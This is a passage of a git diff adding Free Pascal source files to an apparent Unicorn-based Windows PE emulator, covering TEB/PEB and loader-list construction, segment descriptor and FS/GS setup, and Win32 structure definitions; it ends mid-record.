Value="True"/> + </Unit1> + <Unit2> + <Filename Value="PseElfFile.pas"/> + <IsPartOfProject Value="True"/> + </Unit2> + <Unit3> + <Filename Value="PseFile.pas"/> + <IsPartOfProject Value="True"/> + </Unit3> + <Unit4> + <Filename Value="PseImportTable.pas"/> + <IsPartOfProject Value="True"/> + </Unit4> + <Unit5> + <Filename Value="PseLibFile.pas"/> + <IsPartOfProject Value="True"/> + </Unit5> + <Unit6> + <Filename Value="PseMapFileReader.pas"/> + <IsPartOfProject Value="True"/> + </Unit6> + <Unit7> + <Filename Value="PseMzFile.pas"/> + <IsPartOfProject Value="True"/> + </Unit7> + <Unit8> + <Filename Value="PseNeFile.pas"/> + <IsPartOfProject Value="True"/> + </Unit8> + <Unit9> + <Filename Value="PseObjFile.pas"/> + <IsPartOfProject Value="True"/> + </Unit9> + <Unit10> + <Filename Value="PsePe.pas"/> + <IsPartOfProject Value="True"/> + </Unit10> + <Unit11> + <Filename Value="PsePeFile.pas"/> + <IsPartOfProject Value="True"/> + </Unit11> + <Unit12> + <Filename Value="PseRawFile.pas"/> + <IsPartOfProject Value="True"/> + </Unit12> + <Unit13> + <Filename Value="PseSection.pas"/> + <IsPartOfProject Value="True"/> + </Unit13> + <Unit14> + <Filename Value="PseVirtMem.pas"/> + <IsPartOfProject Value="True"/> + </Unit14> + <Unit15> + <Filename Value="PseResource.pas"/> + <IsPartOfProject Value="True"/> + </Unit15> + <Unit16> + <Filename Value="PseDebugInfo.pas"/> + <IsPartOfProject Value="True"/> + </Unit16> + <Unit17> + <Filename Value="PseExportTable.pas"/> + <IsPartOfProject Value="True"/> + </Unit17> + <Unit18> + <Filename Value="PseCmn.pas"/> + <IsPartOfProject Value="True"/> + </Unit18> + <Unit19> + <Filename Value="PseMz.pas"/> + <IsPartOfProject Value="True"/> + </Unit19> + <Unit20> + <Filename Value="PseImgLoader.pas"/> + <IsPartOfProject Value="True"/> + </Unit20> + <Unit21> + <Filename Value="PsePeLoader.pas"/> + <IsPartOfProject Value="True"/> + </Unit21> + <Unit22> + <Filename Value="PseElfLoader.pas"/> + <IsPartOfProject Value="True"/> + </Unit22> + <Unit23> + <Filename Value="PseNe.pas"/> + <IsPartOfProject Value="True"/> + </Unit23> + </Units> + </ProjectOptions> + <CompilerOptions> + <Version Value="11"/> + <PathDelim Value="\"/> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Parsing> + <SyntaxOptions> + <CStyleMacros Value="True"/> + </SyntaxOptions> + </Parsing> + <Linking> + <Debugging> + <DebugInfoType Value="dsDwarf2Set"/> + <UseHeaptrc Value="True"/> + <UseExternalDbgSyms Value="True"/> + </Debugging> + </Linking> + </CompilerOptions> + <Debugging> + <Exceptions Count="3"> + <Item1> + <Name Value="EAbort"/> + </Item1> + <Item2> + <Name Value="ECodetoolError"/> + </Item2> + <Item3> + <Name Value="EFOpenError"/> + </Item3> + </Exceptions> + </Debugging> +</CONFIG> diff --git a/Core/pesp/pse.res b/Core/pesp/pse.res new file mode 100644 index 0000000000000000000000000000000000000000..743599575b02e97248bade49ed2e3eabafe25a0a GIT binary patch literal 96 zcmZQzU|>)H;{X347|28cOhBFu5dZ(r#Sp;Y!{Epe!r;c>&k)4m3uHM0X?F%!AS)QE O%YcEC1!e#vkO2UW7YiT& literal 0 HcmV?d00001 diff --git a/Core/process/ethreads.pas b/Core/process/ethreads.pas new file mode 100644 index 0000000..f29fb4f --- /dev/null +++ b/Core/process/ethreads.pas @@ -0,0 +1,484 @@ +unit EThreads; // i really don't remember why i name this unit to Start with E . + +{$mode delphi} + +interface + +uses + Classes, SysUtils, math, + Unicorn_dyn, UnicornConst , X86Const , + TEP_PEB, Utils, + Generics.Collections, Generics.Defaults; + + +function InitTEB_PEB( uc : uc_engine; FS,GS,PEB,stack_address : UInt64; stack_limit : UInt32; X64 : boolean): Boolean; + +implementation + uses + Globals,FnHook,Emu; + +var + EntryNextOffset : UInt64 = 0; + +function SortByBaseAddr(constref Left, Right: TPair<string, TNewDll>): Integer; +begin + Result := TCompare.UInt64(Left.Value.BaseAddress, Right.Value.BaseAddress); +end; + +function GetModulesCount(TLibsArray : array of TPair<string, TNewDll>) : Integer; +var + TLibItem : TPair<string, TNewDll>; +begin + Result := 0; + for TLibItem in TLibsArray do + begin + if not TLibItem.Value.Dllname.StartsWith('api-ms-win') then + begin + Inc(Result); + end; + end; +end; + +function BuildPEB_Ldr_Entry32(uc : uc_engine; + Offset, + blink : UInt64; + lib : TNewDll; + Main_Path : string; + IsEnd : Boolean) : LDR_DATA_TABLE_ENTRY_32; +var + Entry32 : LDR_DATA_TABLE_ENTRY_32; + pre_len, + FPath_len, Path_len, name_len : Cardinal; + _flink32 : DWORD; + path : string; +begin + path := Main_Path + lib.Dllname; + + Fpath_len := Length(path) * 2; + Path_len := Length(Main_Path) * 2; + name_len := Length(lib.Dllname) * 2; + + pre_len := SizeOf(LDR_DATA_TABLE_ENTRY_32) + FPath_len; + _flink32 := EntryNextOffset + pre_len + 2; + + if IsEnd then + _flink32 := Offset; // Start_of_list . + + Initialize(Entry32); + FillByte(Entry32,SizeOf(Entry32),0); + + Entry32.InLoadOrderLinks.Flink := _flink32; // next entry + Entry32.InLoadOrderLinks.Blink := DWORD(blink); + + Entry32.InMemoryOrderLinks.Flink := _flink32 + 8; + Entry32.InMemoryOrderLinks.Blink := DWORD(blink) + 8; + + Entry32.InInitializationOrderLinks.Flink := _flink32 + 16; + Entry32.InInitializationOrderLinks.Blink := DWORD(blink) + 16; + + + Entry32.DllBase := DWORD(lib.BaseAddress); + Entry32.EntryPoint := DWORD(lib.EntryPoint); + Entry32.SizeOfImage := lib.ImageSize; + + Entry32.FullDllName.Length := FPath_len; + Entry32.FullDllName.MaximumLength := FPath_len + 2; + Entry32.FullDllName.Buffer := EntryNextOffset + SizeOf(Entry32); + + Entry32.BaseDllName.Length := name_len; + Entry32.BaseDllName.MaximumLength := name_len + 2; + Entry32.BaseDllName.Buffer := EntryNextOffset + SizeOf(Entry32) + Path_len; // start if name . + + Emulator.err := uc_mem_write_(uc,EntryNextOffset,@Entry32,SizeOf(Entry32)); + Utils.WriteStringW(EntryNextOffset + SizeOf(Entry32),path); + + //DumpStack(EntryNextOffset,14); + + Result := Entry32; +end; + +function BuildPEB_Ldr_Entry64(uc : uc_engine; + Offset, + blink : UInt64; + lib : TNewDll; + Main_Path : string; + IsEnd : Boolean) : LDR_DATA_TABLE_ENTRY_64; +var + Entry : LDR_DATA_TABLE_ENTRY_64; + pre_len, + FPath_len, Path_len, name_len : Cardinal; + _flink : QWORD; + path : string; + tmp : Pointer; +begin + path := Main_Path + lib.Dllname; + + Fpath_len := Length(path) * 2; + Path_len := Length(Main_Path) * 2; + name_len := Length(lib.Dllname) * 2; + + pre_len := SizeOf(LDR_DATA_TABLE_ENTRY_64) + FPath_len; + _flink := EntryNextOffset + pre_len + 2; + + if IsEnd then + _flink := Offset; // Start_of_list . + + Initialize(Entry); + FillByte(Entry,SizeOf(Entry),0); + + Entry.InLoadOrderLinks.Flink := _flink; + Entry.InLoadOrderLinks.Blink := blink; + + Entry.InMemoryOrderLinks.Flink := _flink + 16; + Entry.InMemoryOrderLinks.Blink := blink + 16; + + Entry.InInitializationOrderLinks.Flink := _flink + 32; + Entry.InInitializationOrderLinks.Blink := blink + 32; + + + Entry.DllBase := lib.BaseAddress; + Entry.EntryPoint := lib.EntryPoint; + Entry.SizeOfImage := lib.ImageSize; + + Entry.FullDllName.Length := FPath_len; + Entry.FullDllName.MaximumLength := FPath_len + 2; + Entry.FullDllName.Buffer := EntryNextOffset + SizeOf(Entry); + + Entry.BaseDllName.Length := name_len; + Entry.BaseDllName.MaximumLength := name_len + 2; + Entry.BaseDllName.Buffer := EntryNextOffset + SizeOf(Entry) + Path_len; // start if name . + + Emulator.err := uc_mem_write_(uc,EntryNextOffset,@Entry,SizeOf(Entry)); + Utils.WriteStringW(EntryNextOffset + SizeOf(Entry),path); + + //DumpStack(EntryNextOffset,14); + + Result := Entry; +end; + +procedure BuildPEB_Ldr(uc : uc_engine; offset : UInt64; X64 : boolean); +var + index, ModulesCount : Integer; + is_end : Boolean; + + flink32 : DWORD; + flink64 : QWORD; + + blink32 : DWORD; + blink64 : QWORD; + + NewOffset : UInt64; + + start_of_list, end_of_list : UInt64; + + LDR_DATA32 : PEB_LDR_DATA_32; + LDR_DATA64 : PEB_LDR_DATA_64; + + module32 : LDR_DATA_TABLE_ENTRY_32; + module64 : LDR_DATA_TABLE_ENTRY_64; + + MainModule : TNewDll; + + TLibsArray : array of TPair<string, TNewDll>; + TLibItem : TPair<string, TNewDll>; +const + sys_path : string = 'C:\Windows\System32\'; +begin + + index := 0; ModulesCount := 0; + is_end := False; + + if X64 then + begin + flink64 := offset + SizeOf(PEB_LDR_DATA_64); + blink64 := 0; + start_of_list := offset + $18; + end_of_list := 0; + + Initialize(LDR_DATA64); + FillByte(LDR_DATA64,SizeOf(LDR_DATA64),0); // zero out the structure. + + LDR_DATA64.Length := $58; + + LDR_DATA64.InLoadOrderModuleList.Flink := flink64; + LDR_DATA64.InMemoryOrderModuleList.Flink := flink64 + 16; + LDR_DATA64.InInitializationOrderModuleList.Flink := flink64 + 32; + + // Add Self . + blink64 := start_of_list; + + MainModule.EntryPoint := Emulator.Img.ImageBase + Emulator.Img.EntryPointRVA; + MainModule.BaseAddress := Emulator.Img.ImageBase; + MainModule.Dllname := ExtractFileName(Emulator.Img.FileName); + MainModule.ImageSize := Emulator.Img.SizeOfImage; + + EntryNextOffset := flink64; + module64 := BuildPEB_Ldr_Entry64(uc,flink64,blink64,MainModule, + 'C:\Users\PlaMan\',False); + + end_of_list := flink64; + + // New Offset for Next Module . + NewOffset := SizeOf(module64) + module64.FullDllName.MaximumLength; + blink64 := flink64; + flink64 += NewOffset; + EntryNextOffset := flink64; + + // sort the libs . + TLibsArray := Emulator.Libs.ToArray; + TArrayHelper<Tlibs.TDictionaryPair>.Sort( + TLibsArray, TComparer<TLibs.TDictionaryPair>.Construct(SortByBaseAddr)); + + ModulesCount := GetModulesCount(TLibsArray); + for TLibItem in TLibsArray do + begin + if not TLibItem.Value.Dllname.StartsWith('api-ms-win') then + begin + if index+1 = ModulesCount then + begin + //Writeln('[+] >>>>> last : ',TLibItem.Value.Dllname); + + end_of_list := flink64; + flink64 := start_of_list; + is_end := True; + end; + //else + //Writeln('[+] Module : ',TLibItem.Value.Dllname); + + module64 := BuildPEB_Ldr_Entry64(uc, + flink64, + blink64, + TLibItem.Value, + sys_path, + is_end); + blink64 := flink64; + flink64 += SizeOf(module64) + module64.FullDllName.MaximumLength; + EntryNextOffset := flink64; + inc(index); + end; + end; + LDR_DATA64.InLoadOrderModuleList.Blink := end_of_list; + LDR_DATA64.InMemoryOrderModuleList.Blink := end_of_list + 16; + LDR_DATA64.InInitializationOrderModuleList.Blink := end_of_list + 32; + + if uc_mem_write_(uc,offset,@LDR_DATA64,SizeOf(PEB_LDR_DATA_64)) <> UC_ERR_OK then + begin + Writeln('[x] Error While Writing Ldr_data to memory '); + halt(-1); + end; + + //Writeln('LDR_DATA64 :'); + //DumpStack(offset,14); + + end // x64 . + else + begin + flink32 := DWORD(offset + SizeOf(PEB_LDR_DATA_32)); + blink32 := 0; + start_of_list := offset + $C; + end_of_list := 0; + + Initialize(LDR_DATA32); + FillByte(LDR_DATA32,SizeOf(LDR_DATA32),0); // zero out the structure. + + LDR_DATA32.Length := $28; + + LDR_DATA32.InLoadOrderModuleList.Flink := flink32; + LDR_DATA32.InMemoryOrderModuleList.Flink := flink32 + 8; + LDR_DATA32.InInitializationOrderModuleList.Flink := flink32 + 16; // ntdll.dll . + + // Add Self . + blink32 := start_of_list; + + MainModule.EntryPoint := Emulator.Img.ImageBase + Emulator.Img.EntryPointRVA; + MainModule.BaseAddress := Emulator.Img.ImageBase; + MainModule.Dllname := ExtractFileName(Emulator.Img.FileName); + MainModule.ImageSize := Emulator.Img.SizeOfImage; + + EntryNextOffset := flink32; + module32 := BuildPEB_Ldr_Entry32(uc,flink32,blink32,MainModule, + 'C:\Users\PlaMan\',False); + + end_of_list := flink32; + + // New Offset for Next Module . + NewOffset := SizeOf(module32) + module32.FullDllName.MaximumLength; + blink32 := flink32; + flink32 += NewOffset; + EntryNextOffset := flink32; + + // sort the libs . + TLibsArray := Emulator.Libs.ToArray; + TArrayHelper<Tlibs.TDictionaryPair>.Sort( + TLibsArray, TComparer<TLibs.TDictionaryPair>.Construct(SortByBaseAddr)); + + ModulesCount := GetModulesCount(TLibsArray); + for TLibItem in TLibsArray do + begin + if not TLibItem.Value.Dllname.StartsWith('api-ms-win') then + begin + if index+1 = ModulesCount then + begin + //Writeln('[+] >>>>> last : ',TLibItem.Value.Dllname); + + end_of_list := flink32; + flink32 := start_of_list; + is_end := True; + end; + //else + //Writeln('[+] Module : ',TLibItem.Value.Dllname); + + module32 := BuildPEB_Ldr_Entry32(uc, + flink32, + blink32, + TLibItem.Value, + sys_path, + is_end); + blink32 := flink32; + flink32 += SizeOf(module32) + module32.FullDllName.MaximumLength; + EntryNextOffset := flink32; + inc(index); + end; + end; + LDR_DATA32.InLoadOrderModuleList.Blink := end_of_list; + LDR_DATA32.InMemoryOrderModuleList.Blink := end_of_list + 8; + LDR_DATA32.InInitializationOrderModuleList.Blink := end_of_list + 16; + + if uc_mem_write_(uc,offset,@LDR_DATA32,SizeOf(PEB_LDR_DATA_32)) <> UC_ERR_OK then + begin + Writeln('[x] Error While Writing Ldr_data to memory '); + halt(-1); + end; + + //Writeln('LDR_DATA32 :'); + //DumpStack(offset,14); + end; +end; + +procedure BuildPEB(uc : uc_engine; PEB : UInt64; X64 : boolean); +var + PEB32 : TPEB_32; + PEB64 : TPEB_64; +begin + if X64 then + begin + Initialize(PEB64); + FillByte(PEB64,SizeOf(PEB64),0); + + PEB64.BeingDebugged := False; + PEB64.ImageBaseAddress := DWORD(Emulator.Img.ImageBase); + PEB64.Ldr := PEB + SizeOf(TPEB_64); + BuildPEB_Ldr(uc,PEB64.Ldr,X64); + + PEB64.OSMajorVersion := RandomRange(10,20); + PEB64.OSMinorVersion := RandomRange(10,20); + PEB64.OSBuildNumber := RandomRange(1000,2000); + PEB64.OSCSDVersion := RandomRange(10,20); + PEB64.OSPlatformId := RandomRange(10,20); + + if uc_mem_write_(uc,PEB,@PEB64,SizeOf(PEB64)) <> UC_ERR_OK then + begin + Writeln('[x] Error While Writing PEB to memory '); + halt(-1); + end; + end + else + begin + Initialize(PEB32); + FillByte(PEB32,SizeOf(PEB32),0); + + PEB32.BeingDebugged := False; + PEB32.ImageBaseAddress := DWORD(Emulator.Img.ImageBase); + PEB32.Ldr := PEB + SizeOf(TPEB_32); + BuildPEB_Ldr(uc,PEB32.Ldr,X64); + + PEB32.OSMajorVersion := RandomRange(10,20); + PEB32.OSMinorVersion := RandomRange(10,20); + PEB32.OSBuildNumber := RandomRange(1000,2000); + PEB32.OSCSDVersion := RandomRange(10,20); + PEB32.OSPlatformId := RandomRange(10,20); + + if uc_mem_write_(uc,PEB,@PEB32,SizeOf(PEB32)) <> UC_ERR_OK then + begin + Writeln('[x] Error While Writing PEB to memory '); + halt(-1); + end; + end; +end; + +function InitTEB_PEB( uc : uc_engine; FS,GS,PEB,stack_address : UInt64; stack_limit : UInt32; X64 : boolean): Boolean; +var + TIB64 : TTIB_64; + TIB32 : TTIB_32; + err : uc_err; + tmp,LS : UInt64; +begin + Result := False; + if X64 then + begin + Initialize(TIB64); + FillByte(TIB64,SizeOf(TTIB_64),0); + + TIB64.NtTib.ExceptionList := $FFFFFFFFFFFFFFFF; + TIB64.NtTib.StackBase := stack_address; + TIB64.NtTib.StackLimit := stack_limit; + TIB64.NtTib.SubSystemTib := 0; + TIB64.NtTib.Union.FiberData := 0; + TIB64.NtTib.Self := gs; + TIB64.EnvironmentPointer := 0; + TIB64.ClientId.UniqueProcess := RandomRange(1000,2000); // random Process ID . + TIB64.ClientId.UniqueThread := RandomRange(3000,4000); // random Thread ID . + TIB64.ActiveRpcHandle := 0; + TIB64.ThreadLocalStoragePointer := stack_address; + TIB64.Peb := PEB; + + BuildPEB(uc,PEB,X64); + + err := uc_mem_write_(uc,GS,@TIB64,SizeOf(TTIB_64)); + + // custom for an x64 PE File .. just to make it continue run .. + // remove it later . + tmp := stack_address; + err := uc_mem_write_(uc,tmp,@tmp,8); + err := uc_mem_write_(uc,GS+$58,@tmp,8); // testing ... + tmp += $188; + err := uc_mem_write_(uc,tmp,@stack_address,8); // testing ... + + Result := err = UC_ERR_OK; + end + else + begin + Initialize(TIB32); + FillByte(TIB32,SizeOf(TIB32),0); + + TIB32.NtTib.ExceptionList := $FFFFFFFF; + TIB32.NtTib.StackBase := stack_address; + TIB32.NtTib.StackLimit := stack_limit; + TIB32.NtTib.SubSystemTib := 0; + TIB32.NtTib.Union.FiberData := 0; + TIB32.NtTib.Self := fs; + TIB32.EnvironmentPointer := 0; + TIB32.ClientId.UniqueProcess := RandomRange(1000,2000); // random Process ID . + TIB32.ClientId.UniqueThread := RandomRange(3000,4000); // random Thread ID . + TIB32.ActiveRpcHandle := 0; + TIB32.ThreadLocalStoragePointer := stack_address; + TIB32.Peb := PEB; + + BuildPEB(uc,PEB,X64); + + // for LocalThreadStorage . + LS := stack_address; + tmp := LS + 4; + err := uc_mem_write_(uc,LS,@tmp,4); + + err := uc_mem_write_(uc,FS,@TIB32,SizeOf(TTIB_32)); + Result := err = UC_ERR_OK; + end; + if err <> UC_ERR_OK then + begin + Writeln('Error While Write TEB to Memory - last Error : ',uc_strerror(err)); + end; +end; + +end. + diff --git a/Core/segments.pas b/Core/segments.pas new file mode 100644 index 0000000..57f951e --- /dev/null +++ b/Core/segments.pas @@ -0,0 +1,266 @@ +unit Segments; + +{$IFDEF FPC} + {$MODE Delphi} + {$PackRecords C} +{$ENDIF} + +interface + +uses + Classes, SysUtils , ctypes , math, + Unicorn_dyn, UnicornConst, X86Const,Utils,TEP_PEB; + + +type + T4Bits=0..15; + T2Bits=0..3; + T1Bit=0..1; + + TFlags = bitpacked record + case boolean of + false : ( + // FLAGS . + CF, // Carry flag . + Reserved1, // Reserved, always 1 in EFLAGS . + PF, // Parity flag . + Reserved2, // Reserved . + AF, // Adjust flag . + Reserved3, // Reserved . + ZF, // Zero flag . + SF, // Sign flag . + TF, // Trap flag (single step) . + &IF, // Interrupt enable flag . + DF, // Direction flag . + &OF // Overflow flag . + : T1Bit; + IOPL : T2Bits; // I/O privilege level (286+ only), always 1 on 8086 and 186 . + NT, // Nested task flag (286+ only), always 1 on 8086 and 186 . + Reserved4, // Reserved, always 1 on 8086 and 186, always 0 on later models . + // EFLAGS . + RF, // Resume flag (386+ only) . + VM, // Virtual 8086 mode flag (386+ only) . + AC, // Alignment check (486SX+ only) . + VIF, // Virtual interrupt flag (Pentium+) . + VIP, // Virtual interrupt pending (Pentium+). + ID, // Able to use CPUID instruction (Pentium+). + ID2 // Able to use CPUID instruction (Pentium+). + : T1Bit; + VAD : T2Bits; // VAD Flag . + // RFLAGS . + Reserved5 : DWORD; + ); + true : (FLAGS : uint64) ; + end; + + TSegmentDescriptor = bitpacked record + case boolean of + false :( + limit0 : cshort ; + base0 : cshort ; + base1 : cchar ; + &type : T4Bits; + system : T1Bit; //* S flag */ + dpl : T2Bits; + present : T1Bit; //* P flag */ + limit1 : T4Bits; + avail : T1Bit; + is_64_code : T1Bit; //* L flag */ + db : T1Bit; //* DB flag */ + granularity : T1Bit; //* G flag */ + base2 : cchar; + ); + true : (desc: uint64); + end; + PSegmentDescriptor = ^TSegmentDescriptor; + + + +const + F_GRANULARITY = $8; // If set block=4KiB otherwise block=1B . + F_PROT_32 = $4; // Protected Mode 32 bit . + F_LONG = $2; // Long Mode . + F_AVAILABLE = $1; // Free Use . + A_PRESENT = $80; // Segment active . + A_PRIV_3 = $60; // Ring 3 Privs . + A_PRIV_2 = $40; // Ring 2 Privs . + A_PRIV_1 = $20; // Ring 1 Privs . + A_PRIV_0 = $0; // Ring 0 Privs . + A_CODE = $10; // Code Segment . + A_DATA = $10; // Data Segment . + A_TSS = $0; // TSS . + A_GATE = $0; // GATE . + A_EXEC = $8; // Executable . + A_DATA_WRITABLE = $2; + A_CODE_READABLE = $2; + A_DIR_CON_BIT = $4; + S_GDT = $0; // Index points to GDT . + S_LDT = $4; // Index points to LDT . + S_PRIV_3 = $3; // Ring 3 Privs . + S_PRIV_2 = $2; // Ring 2 Privs . + S_PRIV_1 = $1; // Ring 1 Privs . + S_PRIV_0 = $0; // Ring 0 Privs . + + FSMSR = $C0000100; + GSMSR = $C0000101; + + +function CreateSelector(idx,flags : UInt32): UInt64; +procedure Init_Descriptor(desc : PSegmentDescriptor; base, limit{, access, flags} : UInt32; is_code : boolean); +procedure Init_GDT(desc : PSegmentDescriptor; base, limit, access, flags : UInt32); + + +function SetFS(uc : uc_engine; addr : UInt64): boolean; +function GetFS(uc : uc_engine; var addr : UInt64): boolean; + +function SetGS(uc : uc_engine; addr : UInt64): boolean; +function GetGS(uc : uc_engine; var addr : UInt64): boolean; + + +implementation + uses + Globals; + +function setMSR(uc : uc_engine; msr , value : UInt64; SCRATCH_ADDR : UInt64 = $80000) : boolean; +var + o_rax,o_rdx,o_rcx,o_rip : UInt64; + err : uc_err; +const + code : array [0..1] of byte = ($0f,$30); // wrmsr . +begin + Result := false; + o_rax := reg_read_x64(uc,UC_X86_REG_RAX); + o_rdx := reg_read_x64(uc,UC_X86_REG_RDX); + o_rcx := reg_read_x64(uc,UC_X86_REG_RCX); + o_rip := reg_read_x64(uc,UC_X86_REG_RIP); + err := uc_mem_write_(uc,SCRATCH_ADDR,@code,Length(code)); + if err = UC_ERR_OK then + begin + reg_write_x64(uc,UC_X86_REG_RAX,(value and $FFFFFFFF)); + reg_write_x64(uc,UC_X86_REG_RDX,((value shr 32) and $FFFFFFFF)); + reg_write_x64(uc,UC_X86_REG_RCX,(msr and $FFFFFFFF)); + err := uc_emu_start(uc,SCRATCH_ADDR,SCRATCH_ADDR+Length(code),0,1); + if err = UC_ERR_OK then + begin + Result := true; + end; + reg_write_x64(uc,UC_X86_REG_RAX,o_rax); + reg_write_x64(uc,UC_X86_REG_RDX,o_rdx); + reg_write_x64(uc,UC_X86_REG_RCX,o_rcx); + reg_write_x64(uc,UC_X86_REG_RIP,o_rip); + end; +end; + +function getMSR(uc : uc_engine; msr : UInt64; var value : UInt64; SCRATCH_ADDR : UInt64 = $80000) : boolean; +var + o_rax,o_rdx,o_rcx,o_rip,r_eax,r_edx : UInt64; + err : uc_err; +const + code : array [0..1] of byte = ($0f,$32); // rdmsr . +begin + Result := false; value := 0; + + o_rax := reg_read_x64(uc,UC_X86_REG_RAX); + o_rdx := reg_read_x64(uc,UC_X86_REG_RDX); + o_rcx := reg_read_x64(uc,UC_X86_REG_RCX); + o_rip := reg_read_x64(uc,UC_X86_REG_RIP); + + err := uc_mem_write_(uc,SCRATCH_ADDR,@code,Length(code)); + if err = UC_ERR_OK then + begin + reg_write_x64(uc,UC_X86_REG_RCX,(msr and $FFFFFFFF)); + err := uc_emu_start(uc,SCRATCH_ADDR,SCRATCH_ADDR+Length(code),0,1); + if err = UC_ERR_OK then + begin + Result := true; + r_eax := reg_read_x32(uc,UC_X86_REG_EAX); + r_edx := reg_read_x32(uc,UC_X86_REG_EDX); + value := (r_edx shl 32) or (r_eax and $FFFFFFFF); + end; + reg_write_x64(uc,UC_X86_REG_RAX,o_rax); + reg_write_x64(uc,UC_X86_REG_RDX,o_rdx); + reg_write_x64(uc,UC_X86_REG_RCX,o_rcx); + reg_write_x64(uc,UC_X86_REG_RIP,o_rip); + end; +end; +// set FS for x64 CPU .. +function SetFS(uc : uc_engine; addr : UInt64): boolean; +begin + Result := setMSR(uc,FSMSR,addr); +end; + +// Get FS for x64 CPU .. +function GetFS(uc : uc_engine; var addr : UInt64): boolean; +begin + Result := getMSR(uc,FSMSR,addr); +end; + +// set GS for x64 CPU .. +function SetGS(uc : uc_engine; addr : UInt64): boolean; +begin + Result := setMSR(uc,GSMSR,addr); +end; + +// Get GS for x64 CPU .. +function GetGS(uc : uc_engine; var addr : UInt64): boolean; +begin + Result := getMSR(uc,GSMSR,addr); +end; + +function CreateSelector(idx,flags : UInt32): UInt64; +begin + Result := flags; + Result := UInt64(Result or idx shl 3); +end; + // access, flags +procedure Init_Descriptor(desc : PSegmentDescriptor; base, limit : UInt32; is_code : boolean); +begin + desc.desc := 0; //clear the descriptor . + desc.base0 := base and $ffff; + desc.base1 := (base shr 16) and $ff; + desc.base2 := base shr 24; + if (limit > $fffff) then + begin + //need Giant granularity . + limit := limit shr 12; + desc.granularity := 1; + end; + desc.limit0 := limit and $ffff; + desc.limit1 := limit shr 16; + + //some sane defaults + if Emulator.PE_x64 then + desc.is_64_code := 1; + desc.dpl := 3; + desc.present := 1; + desc.db := 1; //32 bit + desc.&type := ifthen(is_code, $b, 3); + desc.system := 1; //code or data + +end; + +procedure Init_GDT(desc : PSegmentDescriptor; + base, limit, access, flags : UInt32); +begin + access := access or 1 shr 7; + if limit > $fffff then + begin + limit := limit shr 12; + flags := flags or 8; + end; + + desc.desc := 0; + desc.desc := UInt64(limit) and $ffff; + desc.desc := desc.desc or ((UInt64(limit) shr 16) and $f ) shl 48; + desc.desc := desc.desc or (UInt64(base) and $ffffff) shl 16; + desc.desc := desc.desc or ((UInt64(base) shr 24) and $ff) shl 56; + desc.desc := desc.desc or (UInt64(access) and $ff) shl 40; + desc.desc := desc.desc or (UInt64(flags) and $ff) shl 52; + desc.desc := UInt64(desc.desc); + + Writeln(Format('desc : %x',[desc.desc])); + +end; + +end. + diff --git a/Core/struct.inc b/Core/struct.inc new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Core/struct.inc @@ -0,0 +1 @@ + diff --git a/Core/struct.pas b/Core/struct.pas new file mode 100644 index 0000000..fa3b2fd --- /dev/null +++ b/Core/struct.pas @@ -0,0 +1,797 @@ +unit struct; + +{$PACKRECORDS C} +interface + + +{ + This file is part of the Free Pascal run time library. + This unit contains the record definition for the Win32 API + Copyright (c) 1999-2000 by Florian KLaempfl, + member of the Free Pascal development team. + + See the file COPYING.FPC, included in this distribution, + for details about the copyright. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + + **********************************************************************} + +{ + Structures.h + + Declarations for all the Windows32 API Structures + + Copyright (C) 1996 Free Software Foundation, Inc. + + Author: Scott Christley <scottc@net-community.com> + Date: 1996 + + This file is part of the Windows32 API Library. + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + If you are interested in a warranty or support for this source code, + contact Scott Christley <scottc@net-community.com> for more information. + + You should have received a copy of the GNU Library General Public + License along with this library; see the file COPYING.LIB. + If not, write to the Free Software Foundation, + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +} + + +Const + IMAGE_SIZEOF_SHORT_NAME = 8; + + type + + { WARNING + the variable argument list + is not implemented for FPC + va_list is just a dummy record + MvdV: Nevertheless it should be a pointer type, not a record} + + va_list = pchar; + UCHAR = byte; + WCHAR = WideChar; + + + UINT = cardinal; + ULONG = cardinal; + USHORT = word; + {$ifdef UNICODE} + LPTCH = Pwidechar; + LPTSTR = Pwidechar; + {$else} + LPTCH = Pchar; + LPTSTR = Pchar; + {$endif} + {$ifdef UNICODE} + LPCTSTR = Pwidechar; + {$else} + LPCTSTR = Pchar; + {$endif} + + LPSTR = Pchar; + LPPSTR = ^LPSTR; + + SHORT = smallint; + WINT = longint; + LONG = longint; + LONG64= int64; + ULONG64 = qword; // imagehlp header. + ULONG32 = cardinal; + DWORD = cardinal; + + LPVOID = pointer; + LPCVOID = pointer; + PVOID = pointer; + + HANDLE = System.THandle; + HINST = HANDLE; + HMENU = HANDLE; + HWND = HANDLE; + LONGLONG = int64; + ULONGLONG = qword; + PULONGLONG = ^ULONGLONG; // + UINT_PTR = PtrUInt; + PUINT_PTR = ^UINT_PTR; + FARPROC = pointer; + + { PE executable header. } + { Magic number, 0x5a4d } + { Bytes on last page of file, 0x90 } + { Pages in file, 0x3 } + { Relocations, 0x0 } + { Size of header in paragraphs, 0x4 } + { Minimum extra paragraphs needed, 0x0 } + { Maximum extra paragraphs needed, 0xFFFF } + { Initial (relative) SS value, 0x0 } + { Initial SP value, 0xb8 } + { Checksum, 0x0 } + { Initial IP value, 0x0 } + { Initial (relative) CS value, 0x0 } + { File address of relocation table, 0x40 } + { Overlay number, 0x0 } + { Reserved words, all 0x0 } + { OEM identifier (for e_oeminfo), 0x0 } + { OEM information; e_oemid specific, 0x0 } + { Reserved words, all 0x0 } + { File address of new exe header, 0x80 } + { We leave out the next two fields, since they aren't in the header file } + { DWORD dos_message[16]; text which always follows dos header } + { DWORD nt_signature; required NT signature, 0x4550 } + + IMAGE_DOS_HEADER = record + e_magic : WORD; + e_cblp : WORD; + e_cp : WORD; + e_crlc : WORD; + e_cparhdr : WORD; + e_minalloc : WORD; + e_maxalloc : WORD; + e_ss : WORD; + e_sp : WORD; + e_csum : WORD; + e_ip : WORD; + e_cs : WORD; + e_lfarlc : WORD; + e_ovno : WORD; + e_res : array[0..3] of WORD; + e_oemid : WORD; + e_oeminfo : WORD; + e_res2 : array[0..9] of WORD; + case 